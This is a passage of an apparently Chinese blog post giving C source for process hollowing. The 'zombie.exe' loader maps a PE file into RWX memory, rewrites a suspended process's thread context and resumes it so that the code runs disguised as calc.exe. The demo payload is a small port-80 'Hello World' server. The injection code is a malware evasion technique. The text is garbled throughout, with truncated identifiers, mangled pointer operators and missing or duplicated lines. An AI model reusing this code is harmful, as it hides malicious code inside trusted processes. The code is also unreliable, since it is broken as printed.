ctx.Eax = (DWORD)inpeXH-&imageBase + inpeXH-&addressOfEntryP
ctx.Eax = (DWORD)v + inpeXH-&addressOfEntryP
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
printf("成功 (PID = %d).\n", pi.dwProcessId);
TerminateProcess(pi.hProcess, 0);
TerminateProcess(pi.hProcess, 0);
int main(int argc, char* argv[])
if(argc != 2)
printf("\nUsage: %s &EXE filename&\n", argv[0]);
FILE *fp = fopen(argv[1], "rb");
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader *secH
if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(ptrLoc)
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
fclose(fp);
server.exe源码:
#include &stdio.h&
#include &winsock2.h&
#pragma comment(lib, "ws2_32.lib")
LRESULT CALLBACK WinProc(HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
static TCHAR szAppName[] = TEXT("MyWindows");
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WinP
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hI
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppN
if(!RegisterClass(&wndclass))
MessageBox(NULL, TEXT("这个程序需要Windows NT!!!"),szAppName,MB_ICONERROR);
hwnd = CreateWindow(szAppName,
TEXT("Hello World"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
hInstance,
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
while (GetMessage(&msg, NULL, 0, 0))
TranslateMessage(&msg);
DispatchMessage(&msg);
return msg.wP
LRESULT CALLBACK WinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
PAINTSTRUCT
int len = 0;
int ret = 0;
SOCKET s,c;
char sendBuf[1000]="", recvBuf[1000]="";
SOCKADDR_IN saddr,
ret = WSAStartup(MAKEWORD(2,2),&wd);
if(ret != 0)
if(HIBYTE(wd.wVersion)!=2 || LOBYTE(wd.wVersion)!=2)
printf("初始化失败");
WSACleanup();
s = socket(AF_INET, SOCK_STREAM, 0);
saddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(80);
bind(s, (SOCKADDR *)&saddr, sizeof(SOCKADDR));
listen(s,5);
len = sizeof(SOCKADDR);
switch(message)
case WM_PAINT:
hdc = BeginPaint(hwnd,&ps);
GetClientRect(hwnd,&rect);
DrawText(hdc, TEXT("正在监听80端口!!!"), -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
EndPaint(hwnd, &ps);
c = accept(s, (SOCKADDR*)&caddr, &len);
sprintf(sendBuf, "Hello World\n");
send(c, sendBuf, strlen(sendBuf)+1, 0);
closesocket(c);
WSACleanup();
case WM_DESTROY:
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
命令行下输入zombie.exe server.exe
zombie.exe 会使calc.exe成为傀儡进程,之后加载server.exe来监听80端口
阅读(...) 评论()}

我要回帖

更多关于 gta5新发现隐藏彩蛋 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信